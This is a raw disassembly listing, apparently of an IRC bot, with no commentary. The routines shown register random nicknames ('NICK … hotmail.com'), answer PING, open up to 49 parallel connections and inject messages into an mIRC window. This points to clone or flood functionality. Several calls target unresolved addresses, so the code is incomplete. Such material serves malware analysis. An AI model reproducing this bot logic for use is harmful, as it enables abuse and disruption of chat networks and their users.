					; sub_4177CF+43j
		push	[ebp+var_20]
		push	offset aPing	; "PING"
		call	sub_41C070
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jnz	short loc_417837
		push	offset dword_4387B4
		jmp	short loc_417885
; ---------------------------------------------------------------------------


loc_417837:				; CODE XREF: sub_4177CF+5Fj
		push	offset a433	; "433"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417858
		push	esi
		push	offset dword_4387B0
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4178B3


loc_417858:				; CODE XREF: sub_4177CF+76j
		push	200h
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_417ADD
		add	esp, 10h
		lea	eax, [ebp+var_420]
		push	eax
		push	offset dword_4387A4


loc_417885:				; CODE XREF: sub_4177CF+66j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4


loc_4178B3:				; CODE XREF: sub_4177CF+87j
		xor	eax, eax


loc_4178B5:				; CODE XREF: sub_4177CF+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4177CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4178BA	proc near		; DATA XREF: sub_417A5F+61o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_41BB20
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		push	1
		pop	edi
		lea	eax, dword_4D4014[esi]
		mov	dword_4D4008[esi], edi
		push	dword_4D4214[esi]
		push	eax
		call	sub_417702
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_4D400C[esi], eax
		jb	loc_417A3F
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417ADD
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_417ADD
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_417ADD
		add	esp, 18h
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_4D400C[esi]
		call	dword_4CAFC4
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch


loc_417996:				; CODE XREF: sub_4178BA+111j
					; sub_4178BA+180j
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	dword_4D400C[esi]
		call	dword_4CAF8C
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_417A3F
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		mov	[ebp+var_4], eax
		jz	short loc_417996


loc_4179CD:				; CODE XREF: sub_4178BA+17Ej
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_4179F4
		cmp	al, 0Ah
		jz	short loc_4179F4
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_4179F4
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_417A2E
; ---------------------------------------------------------------------------


loc_4179F4:				; CODE XREF: sub_4178BA+11Cj
					; sub_4178BA+120j ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_417A2E
		push	dword_4D400C[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_4177CF
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_417A3F
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx


loc_417A2E:				; CODE XREF: sub_4178BA+138j
					; sub_4178BA+13Fj
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jnz	short loc_4179CD
		jmp	loc_417996
; ---------------------------------------------------------------------------


loc_417A3F:				; CODE XREF: sub_4178BA+40j
					; sub_4178BA+107j ...
		mov	dword_4D4008[esi], ebx
		mov	esi, dword_4D400C[esi]
		cmp	esi, ebx
		jbe	short loc_417A56
		push	esi
		call	dword_4CB00C


loc_417A56:				; CODE XREF: sub_4178BA+193j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_4178BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417A5F	proc near		; CODE XREF: sub_401ACD+31E1p

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_417AD8


loc_417A71:				; CODE XREF: sub_417A5F+77j
		xor	edi, edi
		mov	eax, offset dword_4D4008


loc_417A78:				; CODE XREF: sub_417A5F+28j
		cmp	[eax], ebx
		jz	short loc_417A89
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4DA728
		jl	short loc_417A78


loc_417A89:				; CODE XREF: sub_417A5F+1Bj
		cmp	edi, 31h
		jz	short loc_417AD8
		mov	esi, edi
		push	[ebp+arg_0]
		imul	esi, 210h
		lea	eax, dword_4D4014[esi]
		push	eax
		call	sub_41BEB0
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	dword_4D4214[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	dword_4D4008[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_4178BA
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_417A71


loc_417AD8:				; CODE XREF: sub_417A5F+10j
					; sub_417A5F+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417A5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417ADD	proc near		; CODE XREF: sub_401ACD+374Dp
					; sub_401ACD+3793p ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		call	sub_41B8E2
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fmul	dbl_4276F8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417B27
		call	sub_41B8E2
		call	sub_41B8E2
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	off_437EF0[edx*4]
		jmp	short loc_417B40
; ---------------------------------------------------------------------------


loc_417B27:				; CODE XREF: sub_417ADD+2Fj
		call	sub_41B8E2
		call	sub_41B8E2
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	off_437BF0[edx*4]


loc_417B40:				; CODE XREF: sub_417ADD+48j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41BEB0
		pop	ecx
		lea	eax, [ebp+var_2C]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	[ebp+var_C], eax
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276F0
		call	sub_41C798
		mov	ebx, eax
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	esi, 2
		mov	edi, offset a__0 ; "-|`_\\{[]}"
		jle	short loc_417BB3
		cmp	esi, 3
		jnz	short loc_417BAA
		cmp	ebx, 1
		jz	short loc_417BB3


loc_417BAA:				; CODE XREF: sub_417ADD+C6j
		cmp	eax, 1
		jnz	loc_417C6D


loc_417BB3:				; CODE XREF: sub_417ADD+C1j
					; sub_417ADD+CBj
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276E0
		call	sub_41C798
		push	off_437EF0[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41BEB0
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		push	edi
		call	sub_41BFB0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_417C5A
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417C5A
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		dec	esi
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], esi
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417C5A
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-8]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al


loc_417C5A:				; CODE XREF: sub_417ADD+111j
					; sub_417ADD+122j ...
		push	[ebp+var_C]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C1E0
		add	esp, 0Ch


loc_417C6D:				; CODE XREF: sub_417ADD+D0j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41AFE0
		mov	esi, eax
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41D648
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417ED5
		and	[ebp+var_C], eax
		movsx	eax, byte ptr [ebx-1]
		push	eax
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417DCC
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	esi, 3
		jz	short loc_417CDB
		cmp	eax, 1
		jnz	loc_417DCC


loc_417CDB:				; CODE XREF: sub_417ADD+1F3j
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_417D1D
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al
		jmp	short loc_417D39
; ---------------------------------------------------------------------------


loc_417D1D:				; CODE XREF: sub_417ADD+207j
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h
		sub	cl, al
		mov	[ebx], cl


loc_417D39:				; CODE XREF: sub_417ADD+23Ej
		push	1
		inc	esi
		pop	ebx
		mov	[ebp+var_4], esi
		mov	[ebp+var_C], ebx
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41C798
		cmp	esi, 3
		jz	short loc_417D62
		cmp	eax, ebx
		jnz	short loc_417DCC


loc_417D62:				; CODE XREF: sub_417ADD+27Fj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_417DA7
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_417DC5
; ---------------------------------------------------------------------------


loc_417DA7:				; CODE XREF: sub_417ADD+28Fj
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl


loc_417DC5:				; CODE XREF: sub_417ADD+2C8j
		inc	esi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], esi


loc_417DCC:				; CODE XREF: sub_417ADD+1C9j
					; sub_417ADD+1F8j ...
		cmp	esi, 6
		jge	loc_417E55
		cmp	esi, 5
		jge	short loc_417DED
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276F0
		jmp	short loc_417E0B
; ---------------------------------------------------------------------------


loc_417DED:				; CODE XREF: sub_417ADD+2FBj
		call	sub_41B8E2
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8


loc_417E0B:				; CODE XREF: sub_417ADD+30Ej
		call	sub_41C798
		test	eax, eax
		jnz	short loc_417E2E
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C8
		call	sub_41C798
		mov	cl, 30h
		jmp	short loc_417E4B
; ---------------------------------------------------------------------------


loc_417E2E:				; CODE XREF: sub_417ADD+335j
		cmp	eax, 1
		jnz	short loc_417E55
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h


loc_417E4B:				; CODE XREF: sub_417ADD+34Fj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi


loc_417E55:				; CODE XREF: sub_417ADD+2F2j
					; sub_417ADD+354j
		cmp	[ebp+var_C], 2
		jge	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C8
		call	sub_41C798
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C0
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417ED5
		cmp	[ebp+var_C], eax
		jge	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41C798
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl


loc_417ED5:				; CODE XREF: sub_417ADD+1B1j
					; sub_417ADD+37Cj ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417ADD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417EEE	proc near		; CODE XREF: sub_401ACD+BEBp
					; sub_401ACD+C28p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_417F79
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_417F79
		cmp	[ebp+arg_8], esi
		jz	short loc_417F79
		cmp	byte ptr [eax],	0
		jz	short loc_417F79
		push	ebx
		push	edi
		call	sub_426464
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_417F74
		push	[ebp+arg_4]
		push	edi
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_417F6D
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_41B5F0
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_41AFE0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_41C1E0
		push	[ebp+arg_4]
		call	sub_41AFE0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_41BEC0
		push	ebx
		push	edi
		call	sub_41BEB0
		add	esp, 30h
		mov	esi, edi


loc_417F6D:				; CODE XREF: sub_417EEE+3Cj
		push	ebx
		call	sub_41B0B1
		pop	ecx


loc_417F74:				; CODE XREF: sub_417EEE+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_417F7B
; ---------------------------------------------------------------------------


loc_417F79:				; CODE XREF: sub_417EEE+Cj
					; sub_417EEE+13j ...
		xor	eax, eax


loc_417F7B:				; CODE XREF: sub_417EEE+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_417EEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417F7F	proc near		; CODE XREF: sub_401955+E9p
					; ___:004102F0p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_41B590
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41AFE0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_417FB5
		or	eax, 0FFFFFFFFh
		jmp	short loc_418028
; ---------------------------------------------------------------------------


loc_417FB5:				; CODE XREF: sub_417F7F+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_417FD7


loc_417FC1:				; CODE XREF: sub_417F7F+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_417FCE
		cmp	dl, 0Dh
		jnz	short loc_417FD2


loc_417FCE:				; CODE XREF: sub_417F7F+48j
		and	byte ptr [ecx+esi], 0


loc_417FD2:				; CODE XREF: sub_417F7F+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_417FC1


loc_417FD7:				; CODE XREF: sub_417F7F+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_418008
		lea	edi, [ebp+var_7CC]


loc_417FE4:				; CODE XREF: sub_417F7F+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_418003
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_418003
		cmp	ebx, 1F4h
		jge	short loc_418008
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_418003:				; CODE XREF: sub_417F7F+69j
					; sub_417F7F+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_417FE4


loc_418008:				; CODE XREF: sub_417F7F+5Dj
					; sub_417F7F+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_418026
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_41C310
		add	esp, 0Ch


loc_418026:				; CODE XREF: sub_417F7F+8Ej
		mov	eax, ebx


loc_418028:				; CODE XREF: sub_417F7F+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_417F7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41802C	proc near		; CODE XREF: sub_418086+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_418065
		push	ebx
		mov	ebx, edi


loc_418049:				; CODE XREF: sub_41802C+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_418068
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_418049
		pop	ebx


loc_418065:				; CODE XREF: sub_41802C+18j
		pop	edi
		pop	esi
		retn
sub_41802C	endp


; =============== S U B	R O U T	I N E =======================================



sub_418068	proc near		; CODE XREF: sub_41802C+25p
					; sub_418086+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_41D74C
		cmp	al, 61h
		pop	ecx
		jl	short loc_418083
		cmp	al, 7Ah
		jg	short loc_418083
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_418083:				; CODE XREF: sub_418068+Ej
					; sub_418068+12j
		xor	eax, eax
		retn
sub_418068	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418086	proc near		; CODE XREF: ___:0041532Dp

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_41BB20
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AFE0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_41AFE0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_41802C
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_4180C4:				; CODE XREF: sub_418086+B6j
		test	esi, esi
		jle	short loc_418142
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D74C
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_41D74C
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41813A


loc_4180EA:				; CODE XREF: sub_418086+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_418068
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_41810B
		mov	eax, ecx


loc_41810B:				; CODE XREF: sub_418086+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_41813E
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D74C
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_41D74C
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_4180EA


loc_41813A:				; CODE XREF: sub_418086+62j
		dec	edi
		dec	esi
		jmp	short loc_4180C4
; ---------------------------------------------------------------------------


loc_41813E:				; CODE XREF: sub_418086+8Aj
		xor	eax, eax
		jmp	short loc_418147
; ---------------------------------------------------------------------------


loc_418142:				; CODE XREF: sub_418086+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_418147:				; CODE XREF: sub_418086+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418086	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41814C	proc near		; CODE XREF: sub_401ACD+67A3p
					; sub_401ACD+789Ep

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		nop
		call	near ptr 2670859h
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		nop
		call	near ptr 27D0000h
		lea	eax, [ebp+var_100]


loc_418185:				; CODE XREF: sub_41814C+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_418191
		cmp	cl, 9
		jnz	short loc_418194


loc_418191:				; CODE XREF: sub_41814C+3Ej
		inc	eax
		jmp	short loc_418185
; ---------------------------------------------------------------------------


loc_418194:				; CODE XREF: sub_41814C+43j
					; sub_41814C+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_4181AE
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_418194
		cmp	cl, 21h
		jl	short loc_418194


loc_4181AE:				; CODE XREF: sub_41814C+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4DA72C
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41B980
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41814C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4181D6	proc near		; CODE XREF: sub_401ACD+24CAp
		push	esi
		push	0
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_41820D
		push	1
		call	dword_4CAF64
		mov	esi, eax
		test	esi, esi
		jz	short loc_41820D
		push	edi
		push	esi
		nop
		call	near ptr 27E073Ah
		push	esi
		mov	edi, eax
		nop
		call	near ptr 27E0000h
		call	dword_4CAFC8
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41820D:				; CODE XREF: sub_4181D6+Bj
					; sub_4181D6+19j
		xor	eax, eax
		pop	esi
		retn
sub_4181D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_418211	proc near		; CODE XREF: sub_401ACD+7661p

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	esi
		push	edi
		call	dword_4CAF80
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_41828D
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		nop
		call	near ptr 27F01B9h
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	near ptr 27F0000h
		nop
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4CAFD0
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4CAFD0
		push	ebx
		nop
		call	near ptr 27E0C6Dh
		push	edi
		call	near ptr 26508ACh
		nop
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_41828F
; ---------------------------------------------------------------------------


loc_41828D:				; CODE XREF: sub_418211+16j
		xor	eax, eax


loc_41828F:				; CODE XREF: sub_418211+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418211	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418293	proc near		; CODE XREF: ___:00401433p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
